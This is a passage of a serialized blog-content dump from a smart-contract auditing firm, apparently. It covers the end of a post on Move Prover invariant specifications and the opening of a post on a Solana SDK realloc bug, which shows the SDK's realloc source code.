/// Aborts if there is no offer under `offer_address` or if the account\n",{"type":22,"tag":264,"props":14136,"children":14137},{"class":1534,"line":1560},[14138],{"type":22,"tag":264,"props":14139,"children":14140},{"style":4284},[14141],{"type":27,"value":14142},"      /// cannot redeem the offer.\n",{"type":22,"tag":264,"props":14144,"children":14145},{"class":1534,"line":1569},[14146],{"type":22,"tag":264,"props":14147,"children":14148},{"style":4284},[14149],{"type":27,"value":14150},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":22,"tag":264,"props":14152,"children":14153},{"class":1534,"line":1583},[14154,14158,14163,14167,14171,14176,14180,14185,14189,14194],{"type":22,"tag":264,"props":14155,"children":14156},{"style":1549},[14157],{"type":27,"value":10349},{"type":22,"tag":264,"props":14159,"children":14160},{"style":4309},[14161],{"type":27,"value":14162}," !",{"type":22,"tag":264,"props":14164,"children":14165},{"style":1549},[14166],{"type":27,"value":7997},{"type":22,"tag":264,"props":14168,"children":14169},{"style":1539},[14170],{"type":27,"value":7097},{"type":22,"tag":264,"props":14172,"children":14173},{"style":4722},[14174],{"type":27,"value":14175},"Offer",{"type":22,"tag":264,"props":14177,"children":14178},{"style":1539},[14179],{"type":27,"value":7097},{"type":22,"tag":264,"props":14181,"children":14182},{"style":4722},[14183],{"type":27,"value":14184},"Offered",{"type":22,"tag":264,"props":14186,"children":14187},{"style":1539},[14188],{"type":27,"value":8019},{"type":22,"tag":264,"props":14190,"children":14191},{"style":1549},[14192],{"type":27,"value":14193},"offer_address",{"type":22,"tag":264,"props":14195,"children":14196},{"style":1539},[14197],{"type":27,"value":5142},{"type":22,"tag":264,"props":14199,"children":14200},{"class":1534,"line":1603},[14201,14205,14209,14214,14218,14222,14226,14230,14235,14239,14243,14247,14252],{"type":22,"tag":264,"props":14202,"children":14203},{"style":1549},[14204],{"type":27,"value":10349},{"type":22,"tag":264,"props":14206,"children":14207},{"style":4309},[14208],{"type":27,"value":14162},{"type":22,"tag":264,"props":14210,"children":14211},{"style":1549},[14212],{"type":27,"value":14213},"is_allowed_recipient",{"type":22,"tag":264,"props":14215,"children":14216},{"style":1539},[14217],{"type":27,"value":7097},{"type":22,"tag":264,"props":14219,"children":14220},{"style":4722},[14221],{"type":27,"value":14184},{"type":22,"tag":264,"props":14223,"children":14224},{"style":1539},[14225],{"type":27,"value":8904},{"type":22,"tag":264,"props":14227,"children":14228},{"style":1549},[14229],{"type":27,"value":14193},{"type":22,"tag":264,"props":14231,"children":14232},{"style":1539},[14233],{"type":27,"value":14234},", signer",{"type":22,"tag":264,"props":14236,"children":14237},{"style":4309},[14238],{"type":27,"value":4785},{"type":22,"tag":264,"props":14240,"children":14241},{"style":4401},[14242],{"type":27,"value":8502},{"type":22,"tag":264,"props":14244,"children":14245},{"style":1539},[14246],{"type":27,"value":2660},{"type":22,"tag":264,"props":14248,"children":14249},{"style":1549},[14250],{"type":27,"value":14251},"account",{"type":22,"tag":264,"props":14253,"children":14254},{"style":1539},[14255],{"type":27,"value":8516},{"type":22,"tag":264,"props":14257,"children":14258},{"class":1534,"line":1612},[14259,14263,14267,14271,14275,14279,14283,14287,14291,14295],{"type":22,"tag":264,"props":14260,"children":14261},{"style":1549},[14262],{"type":27,"value":9481},{"type":22,"tag":264,"props":14264,"children":14265},{"style":4309},[14266],{"type":27,"value":14162},{"type":22,"tag":264,"props":14268,"children":14269},{"style":1549},[14270],{"type":27,"value":7997},{"type":22,"tag":264,"props":14272,"children":14273},{"style":1539},[14274],{"type":27,"value":7097},{"type":22,"tag":264,"props":14276,"children":14277},{"style":4722},[14278],{"type":27,"value":14175},{"type":22,"tag":264,"props":14280,"children":14281},{"style":1539},[14282],{"type":27,"value":7097},{"type":22,"tag":264,"props":14284,"children":14285},{"style":4722},[14286],{"type":27,"value":14184},{"type":22,"tag":264,"props":14288,"children":14289},{"style":1539},[14290],{"type":27,"value":8019},{"type":22,"tag":264,"props":14292,"children":14293},{"style":1549},[14294],{"type":27,"value":14193},{"type":22,"tag":264,"props":14296,"children":14297},{"style":1539},[14298],{"type":27,"value":5142},{"type":22,"tag":264,"props":14300,"children":14301},{"class":1534,"line":1621},[14302,14306,14310,14314,14319,14323,14328,14332,14336,14340,14344,14348,14352,14356,14360],{"type":22,"tag":264,"props":14303,"children":14304},{"style":1549},[14305],{"type":27,"value":9481},{"type":22,"tag":264,"props":14307,"children":14308},{"style":1549},[14309],{"type":27,"value":10457},{"type":22,"tag":264,"props":14311,"children":14312},{"style":4309},[14313],{"type":27,"value":4585},{"type":22,"tag":264,"props":14315,"children":14316},{"style":4401},[14317],{"type":27,"value":14318}," old",{"type":22,"tag":264,"props":14320,"children":14321},{"style":1539},[14322],{"type":27,"value":2660},{"type":22,"tag":264,"props":14324,"children":14325},{"style":1549},[14326],{"type":27,"value":14327},"global",{"type":22,"tag":264,"props":14329,"children":14330},{"style":1539},[14331],{"type":27,"value":7097},{"type":22,"tag":264,"props":14333,"children":14334},{"style":4722},[14335],{"type":27,"value":14175},{"type":22,"tag":264,"props":14337,"children":14338},{"style":1539},[14339],{"type":27,"value":7097},{"type":22,"tag":264,"props":14341,"children":14342},{"style":4722},[14343],{"type":27,"value":14184},{"type":22,"tag":264,"props":14345,"children":14346},{"style":1539},[14347],{"type":27,"value":8019},{"type":22,"tag":264,"props":14349,"children":14350},{"style":1549},[14351],{"type":27,"value":14193},{"type":22,"tag":264,"props":14353,"children":14354},{"style":1539},[14355],{"type":27,"value":2806},{"type":22,"tag":264,"props":14357,"children":14358},{"style":4309},[14359],{"type":27,"value":210},{"type":22,"tag":264,"props":14361,"children":14362},{"style":1539},[14363],{"type":27,"value":14364},"offered);\n",{"type":22,"tag":264,"props":14366,"children":14367},{"class":1534,"line":1629},[14368],{"type":22,"tag":264,"props":14369,"children":14370},{"style":1539},[14371],{"type":27,"value":1674},{"type":22,"tag":23,"props":14373,"children":14374},{},[14375],{"type":27,"value":14376},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":22,"tag":181,"props":14378,"children":14380},{"id":14379},"complex-mathematical-formulae",[14381],{"type":27,"value":14382},"Complex Mathematical Formulae",{"type":22,"tag":23,"props":14384,"children":14385},{},[14386,14388,14393],{"type":27,"value":14387},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":22,"tag":1699,"props":14389,"children":14390},{},[14391],{"type":27,"value":14392},"always",{"type":27,"value":14394}," the output.",{"type":22,"tag":23,"props":14396,"children":14397},{},[14398],{"type":27,"value":14399},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":22,"tag":23,"props":14401,"children":14402},{},[14403,14405,14412],{"type":27,"value":14404},"For example, in our work with ",{"type":22,"tag":69,"props":14406,"children":14409},{"href":14407,"rel":14408},"https://laminar.markets/",[73],[14410],{"type":27,"value":14411},"Laminar Markets",{"type":27,"value":14413},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":22,"tag":181,"props":14415,"children":14417},{"id":14416},"data-invariants",[14418],{"type":27,"value":14419},"Data Invariants",{"type":22,"tag":23,"props":14421,"children":14422},{},[14423,14425,14431,14433,14439,14441,14447,14449,14455],{"type":27,"value":14424},"Formal verification provides the best environment to verify that certain ",{"type":22,"tag":257,"props":14426,"children":14428},{"className":14427},[],[14429],{"type":27,"value":14430},"variables",{"type":27,"value":14432}," or ",{"type":22,"tag":257,"props":14434,"children":14436},{"className":14435},[],[14437],{"type":27,"value":14438},"resources",{"type":27,"value":14440}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":22,"tag":257,"props":14442,"children":14444},{"className":14443},[],[14445],{"type":27,"value":14446},"index",{"type":27,"value":14448}," is never greater than 4 using a ",{"type":22,"tag":257,"props":14450,"children":14452},{"className":14451},[],[14453],{"type":27,"value":14454},"struct invariant",{"type":27,"value":210},{"type":22,"tag":618,"props":14457,"children":14459},{"code":14458,"language":4273,"meta":7,"className":4274,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[14460],{"type":22,"tag":257,"props":14461,"children":14462},{"__ignoreMap":7},[14463,14479,14496,14503,14510,14525,14549],{"type":22,"tag":264,"props":14464,"children":14465},{"class":1534,"line":1535},[14466,14470,14475],{"type":22,"tag":264,"props":14467,"children":14468},{"style":4293},[14469],{"type":27,"value":10699},{"type":22,"tag":264,"props":14471,"children":14472},{"style":4722},[14473],{"type":27,"value":14474}," Type",{"type":22,"tag":264,"props":14476,"children":14477},{"style":1539},[14478],{"type":27,"value":4594},{"type":22,"tag":264,"props":14480,"children":14481},{"class":1534,"line":1545},[14482,14487,14491],{"type":22,"tag":264,"props":14483,"children":14484},{"style":1549},[14485],{"type":27,"value":14486},"    index",{"type":22,"tag":264,"props":14488,"children":14489},{"style":4309},[14490],{"type":27,"value":5785},{"type":22,"tag":264,"props":14492,"children":14493},{"style":4722},[14494],{"type":27,"value":14495}," u64\n",{"type":22,"tag":264,"props":14497,"children":14498},{"class":1534,"line":1560},[14499],{"type":22,"tag":264,"props":14500,"children":14501},{"style":1539},[14502],{"type":27,"value":1692},{"type":22,"tag":264,"props":14504,"children":14505},{"class":1534,"line":1569},[14506],{"type":22,"tag":264,"props":14507,"children":14508},{"emptyLinePlaceholder":17},[14509],{"type":27,"value":4986},{"type":22,"tag":264,"props":14511,"children":14512},{"class":1534,"line":1583},[14513,14517,14521],{"type":22,"tag":264,"props":14514,"children":14515},{"style":1549},[14516],{"type":27,"value":9569},{"type":22,"tag":264,"props":14518,"children":14519},{"style":4722},[14520],{"type":27,"value":14474},{"type":22,"tag":264,"props":14522,"children":14523},{"style":1539},[14524],{"type":27,"value":4594},{"type":22,"tag":264,"props":14526,"children":14527},{"class":1534,"line":1603},[14528,14532,14537,14541,14545],{"type":22,"tag":264,"props":14529,"children":14530},{"style":1549},[14531],{"type":27,"value":9586},{"type":22,"tag":264,"props":14533,"children":14534},{"style":1549},[14535],{"type":27,"value":14536}," index",{"type":22,"tag":264,"props":14538,"children":14539},{"style":4309},[14540],{"type":27,"value":10014},{"type":22,"tag":264,"props":14542,"children":14543},{"style":4344},[14544],{"type":27,"value":13044},{"type":22,"tag":264,"props":14546,"children":14547},{"style":1539},[14548],{"type":27,"value":4322},{"type":22,"tag":264,"props":14550,"children":14551},{"class":1534,"line":1612},[14552],{"type":22,"tag":264,"props":14553,"children":14554},{"style":1539},[14555],{"type":27,"value":1692},{"type":22,"tag":23,"props":14557,"children":14558},{},[14559,14561,14568,14569,14575],{"type":27,"value":14560},"We were able to verify more complex properties in our recent audits for ",{"type":22,"tag":69,"props":14562,"children":14565},{"href":14563,"rel":14564},"https://layerzero.network/",[73],[14566],{"type":27,"value":14567},"LayerZero",{"type":27,"value":12290},{"type":22,"tag":69,"props":14570,"children":14573},{"href":14571,"rel":14572},"http://ariesmarkets.xyz/",[73],[14574],{"type":27,"value":8083},{"type":27,"value":14576},", but the details are left as an exercise to the reader.",{"type":22,"tag":181,"props":14578,"children":14580},{"id":14579},"economic-invariants",[14581],{"type":27,"value":14582},"Economic Invariants.",{"type":22,"tag":23,"props":14584,"children":14585},{},[14586],{"type":27,"value":14587},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":22,"tag":23,"props":14589,"children":14590},{},[14591],{"type":27,"value":14592},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":22,"tag":618,"props":14594,"children":14595},{"code":9261,"language":4273,"meta":7,"className":4274,"style":7},[14596],{"type":22,"tag":257,"props":14597,"children":14598},{"__ignoreMap":7},[14599,14606,14689,14728,14747,14754,14769,14792,14815,14838],{"type":22,"tag":264,"props":14600,"children":14601},{"class":1534,"line":1535},[14602],{"type":22,"tag":264,"props":14603,"children":14604},{"style":4284},[14605],{"type":27,"value":9273},{"type":22,"tag":264,"props":14607,"children":14608},{"class":1534,"line":1545},[14609,14613,14617,14621,14625,14629,14633,14637,14641,14645,14649,14653,14657,14661,14665,14669,14673,14677,14681,14685],{"type":22,"tag":264,"props":14610,"children":14611},{"style":1549},[14612],{"type":27,"value":7862},{"type":22,"tag":264,"props":14614,"children":14615},{"style":4401},[14616],{"type":27,"value":9285},{"type":22,"tag":264,"props":14618,"children":14619},{"style":1539},[14620],{"type":27,"value":2660},{"type":22,"tag":264,"props":14622,"children":14623},{"style":1549},[14624],{"type":27,"value":9294},{"type":22,"tag":264,"props":14626,"children":14627},{"style":4309},[14628],{"type":27,"value":5785},{"type":22,"tag":264,"props":14630,"children":14631},{"style":4722},[14632],{"type":27,"value":7151},{"type":22,"tag":264,"props":14634,"children":14635},{"style":1539},[14636],{"type":27,"value":4380},{"type":22,"tag":264,"props":14638,"children":14639},{"style":1549},[14640],{"type":27,"value":9311},{"type":22,"tag":264,"props":14642,"children":14643},{"style":4309},[14644],{"type":27,"value":5785},{"type":22,"tag":264,"props":14646,"children":14647},{"style":4722},[14648],{"type":27,"value":7151},{"type":22,"tag":264,"props":14650,"children":14651},{"style":1539},[14652],{"type":27,"value":2806},{"type":22,"tag":264,"props":14654,"children":14655},{"style":4309},[14656],{"type":27,"value":5785},{"type":22,"tag":264,"props":14658,"children":14659},{"style":1539},[14660],{"type":27,"value":4370},{"type":22,"tag":264,"props":14662,"children":14663},{"style":4722},[14664],{"type":27,"value":9336},{"type":22,"tag":264,"props":14666,"children":14667},{"style":1539},[14668],{"type":27,"value":4380},{"type":22,"tag":264,"props":14670,"children":14671},{"style":4722},[14672],{"type":27,"value":9336},{"type":22,"tag":264,"props":14674,"children":14675},{"style":1539},[14676],{"type":27,"value":4390},{"type":22,"tag":264,"props":14678,"children":14679},{"style":1549},[14680],{"type":27,"value":7636},{"type":22,"tag":264,"props":14682,"children":14683},{"style":4722},[14684],{"type":27,"value":9357},{"type":22,"tag":264,"props":14686,"children":14687},{"style":1539},[14688],{"type":27,"value":4594},{"type":22,"tag":264,"props":14690,"children":14691},{"class":1534,"line":1560},[14692,14696,14700,14704,14708,14712,14716,14720,14724],{"type":22,"tag":264,"props":14693,"children":14694},{"style":4293},[14695],{"type":27,"value":9369},{"type":22,"tag":264,"props":14697,"children":14698},{"style":1549},[14699],{"type":27,"value":9374},{"type":22,"tag":264,"props":14701,"children":14702},{"style":4309},[14703],{"type":27,"value":4312},{"type":22,"tag":264,"props":14705,"children":14706},{"style":4401},[14707],{"type":27,"value":9383},{"type":22,"tag":264,"props":14709,"children":14710},{"style":1539},[14711],{"type":27,"value":2660},{"type":22,"tag":264,"props":14713,"children":14714},{"style":1549},[14715],{"type":27,"value":9294},{"type":22,"tag":264,"props":14717,"children":14718},{"style":1539},[14719],{"type":27,"value":4380},{"type":22,"tag":264,"props":14721,"children":14722},{"style":1549},[14723],{"type":27,"value":9311},{"type":22,"tag":264,"props":14725,"children":14726},{"style":1539},[14727],{"type":27,"value":5142},{"type":22,"tag":264,"props":14729,"children":14730},{"class":1534,"line":1569},[14731,14735,14739,14743],{"type":22,"tag":264,"props":14732,"children":14733},{"style":4401},[14734],{"type":27,"value":9411},{"type":22,"tag":264,"props":14736,"children":14737},{"style":1539},[14738],{"type":27,"value":2660},{"type":22,"tag":264,"props":14740,"children":14741},{"style":1549},[14742],{"type":27,"value":9420},{"type":22,"tag":264,"props":14744,"children":14745},{"style":1539},[14746],{"type":27,"value":4463},{"type":22,"tag":264,"props":14748,"children":14749},{"class":1534,"line":1583},[14750],{"type":22,"tag":264,"props":14751,"children":14752},{"style":1539},[14753],{"type":27,"value":7163},{"type":22,"tag":264,"props":14755,"children":14756},{"class":1534,"line":1603},[14757,14761,14765],{"type":22,"tag":264,"props":14758,"children":14759},{"style":1549},[14760],{"type":27,"value":9439},{"type":22,"tag":264,"props":14762,"children":14763},{"style":1549},[14764],{"type":27,"value":9285},{"type":22,"tag":264,"props":14766,"children":14767},{"style":1539},[14768],{"type":27,"value":4594},{"type":22,"tag":264,"props":14770,"children":14771},{"class":1534,"line":1612},[14772,14776,14780,14784,14788],{"type":22,"tag":264,"props":14773,"children":14774},{"style":1549},[14775],{"type":27,"value":9455},{"type":22,"tag":264,"props":14777,"children":14778},{"style":1549},[14779],{"type":27,"value":9460},{"type":22,"tag":264,"props":14781,"children":14782},{"style":4309},[14783],{"type":27,"value":429},{"type":22,"tag":264,"props":14785,"children":14786},{"style":4293},[14787],{"type":27,"value":9469},{"type":22,"tag":264,"props":14789,"children":14790},{"style":1539},[14791],{"type":27,"value":4322},{"type":22,"tag":264,"props":14793,"children":14794},{"class":1534,"line":1621},[14795,14799,14803,14807,14811],{"type":22,"tag":264,"props":14796,"children":14797},{"style":1549},[14798],{"type":27,"value":9481},{"type":22,"tag":264,"props":14800,"children":14801},{"style":1549},[14802],{"type":27,"value":9486},{"type":22,"tag":264,"props":14804,"children":14805},{"style":4309},[14806],{"type":27,"value":9491},{"type":22,"tag":264,"props":14808,"children":14809},{"style":1549},[14810],{"type":27,"value":9496},{"type":22,"tag":264,"props":14812,"children":14813},{"style":1539},[14814],{"type":27,"value":4322},{"type":22,"tag":264,"props":14816,"children":14817},{"class":1534,"line":1629},[14818,14822,14826,14830,14834],{"type":22,"tag":264,"props":14819,"children":14820},{"style":1549},[14821],{"type":27,"value":9481},{"type":22,"tag":264,"props":14823,"children":14824},{"style":1549},[14825],{"type":27,"value":9512},{"type":22,"tag":264,"props":14827,"children":14828},{"style":4309},[14829],{"type":27,"value":9491},{"type":22,"tag":264,"props":14831,"children":14832},{"style":1549},[14833],{"type":27,"value":9521},{"type":22,"tag":264,"props":14835,"children":14836},{"style":1539},[14837],{"type":27,"value":4322},{"type":22,"tag":264,"props":14839,"children":14840},{"class":1534,"line":1642},[14841],{"type":22,"tag":264,"props":14842,"children":14843},{"style":1539},[14844],{"type":27,"value":7163},{"type":22,"tag":23,"props":14846,"children":14847},{},[14848],{"type":27,"value":14849},"Some other ideas include",{"type":22,"tag":1867,"props":14851,"children":14852},{},[14853,14858,14863],{"type":22,"tag":1871,"props":14854,"children":14855},{},[14856],{"type":27,"value":14857},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":22,"tag":1871,"props":14859,"children":14860},{},[14861],{"type":27,"value":14862},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":22,"tag":1871,"props":14864,"children":14865},{},[14866],{"type":27,"value":14867},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":22,"tag":169,"props":14869,"children":14870},{"id":3966},[14871],{"type":27,"value":3969},{"type":22,"tag":23,"props":14873,"children":14874},{},[14875],{"type":27,"value":14876},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":22,"tag":23,"props":14878,"children":14879},{},[14880],{"type":27,"value":14881},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":22,"tag":23,"props":14883,"children":14884},{},[14885,14887,14892],{"type":27,"value":14886},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":22,"tag":69,"props":14888,"children":14890},{"href":10539,"rel":14889},[73],[14891],{"type":27,"value":10543},{"type":27,"value":210},{"type":22,"tag":4139,"props":14894,"children":14895},{},[14896],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":14898},[14899,14900,14903,14910],{"id":10603,"depth":1545,"text":10606},{"id":10657,"depth":1545,"text":10660,"children":14901},[14902],{"id":10908,"depth":1560,"text":10904},{"id":13808,"depth":1545,"text":13811,"children":14904},[14905,14906,14907,14908,14909],{"id":13824,"depth":1560,"text":13827},{"id":14074,"depth":1560,"text":14077},{"id":14379,"depth":1560,"text":14382},{"id":14416,"depth":1560,"text":14419},{"id":14579,"depth":1560,"text":14582},{"id":3966,"depth":1545,"text":3969},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":14915,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":14916,"description":14917,"author":14918,"image":14919,"date":14923,"isFeatured":17,"onBlogPage":17,"tags":14924,"body":14925,"_type":4157,"_id":20046,"_source":4159,"_file":20047,"_stem":20048,"_extension":4162},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":14920,"height":14921,"width":14922},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[4174,10567],{"type":19,"children":14926,"toc":20030},[14927,14955,14975,15645,15665,15676,15688,15821,15831,15837,15863,16204,16249,16576,16638,16651,16725,16793,16814,16827,16841,17190,17201,17206,17337,17388,17414,17426,17599,17735,17776,17813,17879,17884,17922,17976,17987,18131,18143,18149,18155,18188,18202,18324,18343,18371,18377,18467,18558,18564,18569,18616,18885,18960,18971,18998,19330,19342,19414,19687,19724,20026],{"type":22,"tag":23,"props":14928,"children":14929},{},[14930,14932,14938,14940,14945,14947,14953],{"type":27,"value":14931},"It all started with an audit of a program that used ",{"type":22,"tag":257,"props":14933,"children":14935},{"className":14934},[],[14936],{"type":27,"value":14937},"realloc",{"type":27,"value":14939}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":22,"tag":257,"props":14941,"children":14943},{"className":14942},[],[14944],{"type":27,"value":14937},{"type":27,"value":14946}," call (from ",{"type":22,"tag":257,"props":14948,"children":14950},{"className":14949},[],[14951],{"type":27,"value":14952},"solana_program",{"type":27,"value":14954},") would error out appropriately.",{"type":22,"tag":23,"props":14956,"children":14957},{},[14958,14960,14966,14967,14974],{"type":27,"value":14959},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":22,"tag":257,"props":14961,"children":14963},{"className":14962},[],[14964],{"type":27,"value":14965},"AccountInfo::realloc",{"type":27,"value":6791},{"type":22,"tag":69,"props":14968,"children":14971},{"href":14969,"rel":14970},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[73],[14972],{"type":27,"value":14973},"implemented",{"type":27,"value":5785},{"type":22,"tag":618,"props":14976,"children":14978},{"className":4274,"code":14977,"language":4273,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[14979],{"type":22,"tag":257,"props":14980,"children":14981},{"__ignoreMap":7},[14982,15076,15110,15117,15125,15137,15145,15237,15270,15277,15285,15415,15446,15453,15460,15468,15502,15514,15563,15575,15604,15611,15618,15625,15638],{"type":22,"tag":264,"props":14983,"children":14984},{"class":1534,"line":1535},[14985,14990,14995,15000,15004,15008,15013,15017,15022,15026,15031,15035,15040,15044,15048,15052,15057,15062,15067,15072],{"type":22,"tag":264,"props":14986,"children":14987},{"style":4293},[14988],{"type":27,"value":14989},"pub",{"type":22,"tag":264,"props":14991,"children":14992},{"style":4293},[14993],{"type":27,"value":14994}," fn",{"type":22,"tag":264,"props":14996,"children":14997},{"style":4401},[14998],{"type":27,"value":14999}," realloc",{"type":22,"tag":264,"props":15001,"children":15002},{"style":1539},[15003],{"type":27,"value":2660},{"type":22,"tag":264,"props":15005,"children":15006},{"style":4309},[15007],{"type":27,"value":4413},{"type":22,"tag":264,"props":15009,"children":15010},{"style":4293},[15011],{"type":27,"value":15012},"self",{"type":22,"tag":264,"props":15014,"children":15015},{"style":1539},[15016],{"type":27,"value":4380},{"type":22,"tag":264,"props":15018,"children":15019},{"style":1549},[15020],{"type":27,"value":15021},"new_len",{"type":22,"tag":264,"props":15023,"children":15024},{"style":4309},[15025],{"type":27,"value":5785},{"type":22,"tag":264,"props":15027,"children":15028},{"style":4722},[15029],{"type":27,"value":15030}," usize",{"type":22,"tag":264,"props":15032,"children":15033},{"style":1539},[15034],{"type":27,"value":4380},{"type":22,"tag":264,"props":15036,"children":15037},{"style":1549},[15038],{"type":27,"value":15039},"zero_init",{"type":22,"tag":264,"props":15041,"children":15042},{"style":4309},[15043],{"type":27,"value":5785},{"type":22,"tag":264,"props":15045,"children":15046},{"style":4722},[15047],{"type":27,"value":13349},{"type":22,"tag":264,"props":15049,"children":15050},{"style":1539},[15051],{"type":27,"value":4390},{"type":22,"tag":264,"props":15053,"children":15054},{"style":4309},[15055],{"type":27,"value":15056},"->",{"type":22,"tag":264,"props":15058,"children":15059},{"style":4722},[15060],{"type":27,"value":15061}," Result",{"type":22,"tag":264,"props":15063,"children":15064},{"style":1539},[15065],{"type":27,"value":15066},"\u003C(), ",{"type":22,"tag":264,"props":15068,"children":15069},{"style":4722},[15070],{"type":27,"value":15071},"ProgramError",{"type":22,"tag":264,"props":15073,"children":15074},{"style":1539},[15075],{"type":27,"value":8574},{"type":22,"tag":264,"props":15077,"children":15078},{"class":1534,"line":1545},[15079,15083,15088,15092,15097,15101,15106],{"type":22,"tag":264,"props":15080,"children":15081},{"style":4293},[15082],{"type":27,"value":4296},{"type":22,"tag":264,"props":15084,"children":15085},{"style":1549},[15086],{"type":27,"value":15087}," orig_len",{"type":22,"tag":264,"props":15089,"children":15090},{"style":4309},[15091],{"type":27,"value":4312},{"type":22,"tag":264,"props":15093,"children":15094},{"style":4293},[15095],{"type":27,"value":15096}," self",{"type":22,"tag":264,"props":15098,"children":15099},{"style":4309},[15100],{"type":27,"value":210},{"type":22,"tag":264,"props":15102,"children":15103},{"style":4401},[15104],{"type":27,"value":15105},"data_len",{"type":22,"tag":264,"props":15107,"children":15108},{"style":1539},[15109],{"type":27,"value":4977},{"type":22,"tag":264,"props":15111,"children":15112},{"class":1534,"line":1560},[15113],{"type":22,"tag":264,"props":15114,"children":15115},{"emptyLinePlaceholder":17},[15116],{"type":27,"value":4986},{"type":22,"tag":264,"props":15118,"children":15119},{"class":1534,"line":1569},[15120],{"type":22,"tag":264,"props":15121,"children":15122},{"style":4284},[15123],{"type":27,"value":15124},"    // realloc\n",{"type":22,"tag":264,"props":15126,"children":15127},{"class":1534,"line":1583},[15128,15133],{"type":22,"tag":264,"props":15129,"children":15130},{"style":4293},[15131],{"type":27,"value":15132},"    unsafe",{"type":22,"tag":264,"props":15134,"children":15135},{"style":1539},[15136],{"type":27,"value":4594},{"type":22,"tag":264,"props":15138,"children":15139},{"class":1534,"line":1603},[15140],{"type":22,"tag":264,"props":15141,"children":15142},{"style":4284},[15143],{"type":27,"value":15144},"        // First set new length in the serialized data\n",{"type":22,"tag":264,"props":15146,"children":15147},{"class":1534,"line":1612},[15148,15152,15157,15161,15165,15169,15174,15179,15183,15188,15192,15196,15201,15205,15209,15213,15217,15221,15225,15229,15233],{"type":22,"tag":264,"props":15149,"children":15150},{"style":4293},[15151],{"type":27,"value":4365},{"type":22,"tag":264,"props":15153,"children":15154},{"style":1549},[15155],{"type":27,"value":15156}," ptr",{"type":22,"tag":264,"props":15158,"children":15159},{"style":4309},[15160],{"type":27,"value":4312},{"type":22,"tag":264,"props":15162,"children":15163},{"style":4293},[15164],{"type":27,"value":15096},{"type":22,"tag":264,"props":15166,"children":15167},{"style":4309},[15168],{"type":27,"value":210},{"type":22,"tag":264,"props":15170,"children":15171},{"style":4401},[15172],{"type":27,"value":15173},"try_borrow_mut_data",{"type":22,"tag":264,"props":15175,"children":15176},{"style":1539},[15177],{"type":27,"value":15178},"()",{"type":22,"tag":264,"props":15180,"children":15181},{"style":4309},[15182],{"type":27,"value":4435},{"type":22,"tag":264,"props":15184,"children":15185},{"style":4401},[15186],{"type":27,"value":15187},"as_mut_ptr",{"type":22,"tag":264,"props":15189,"children":15190},{"style":1539},[15191],{"type":27,"value":15178},{"type":22,"tag":264,"props":15193,"children":15194},{"style":4309},[15195],{"type":27,"value":210},{"type":22,"tag":264,"props":15197,"children":15198},{"style":4401},[15199],{"type":27,"value":15200},"offset",{"type":22,"tag":264,"props":15202,"children":15203},{"style":1539},[15204],{"type":27,"value":2660},{"type":22,"tag":264,"props":15206,"children":15207},{"style":4309},[15208],{"type":27,"value":5621},{"type":22,"tag":264,"props":15210,"children":15211},{"style":4344},[15212],{"type":27,"value":5378},{"type":22,"tag":264,"props":15214,"children":15215},{"style":1539},[15216],{"type":27,"value":4390},{"type":22,"tag":264,"props":15218,"children":15219},{"style":4293},[15220],{"type":27,"value":10137},{"type":22,"tag":264,"props":15222,"children":15223},{"style":4309},[15224],{"type":27,"value":11115},{"type":22,"tag":264,"props":15226,"children":15227},{"style":4293},[15228],{"type":27,"value":5035},{"type":22,"tag":264,"props":15230,"children":15231},{"style":4722},[15232],{"type":27,"value":7151},{"type":22,"tag":264,"props":15234,"children":15235},{"style":1539},[15236],{"type":27,"value":4322},{"type":22,"tag":264,"props":15238,"children":15239},{"class":1534,"line":1621},[15240,15244,15249,15253,15258,15262,15266],{"type":22,"tag":264,"props":15241,"children":15242},{"style":4309},[15243],{"type":27,"value":9045},{"type":22,"tag":264,"props":15245,"children":15246},{"style":1549},[15247],{"type":27,"value":15248},"ptr",{"type":22,"tag":264,"props":15250,"children":15251},{"style":4309},[15252],{"type":27,"value":4312},{"type":22,"tag":264,"props":15254,"children":15255},{"style":1549},[15256],{"type":27,"value":15257}," 